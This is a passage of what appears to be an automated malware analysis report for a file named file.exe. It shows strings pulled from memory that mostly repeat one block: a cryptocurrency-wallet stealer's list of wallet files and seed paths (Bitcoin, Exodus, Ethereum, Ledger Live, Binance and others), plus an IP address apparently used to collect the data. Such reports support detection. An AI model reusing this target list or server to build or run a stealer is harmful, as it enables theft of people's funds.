Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 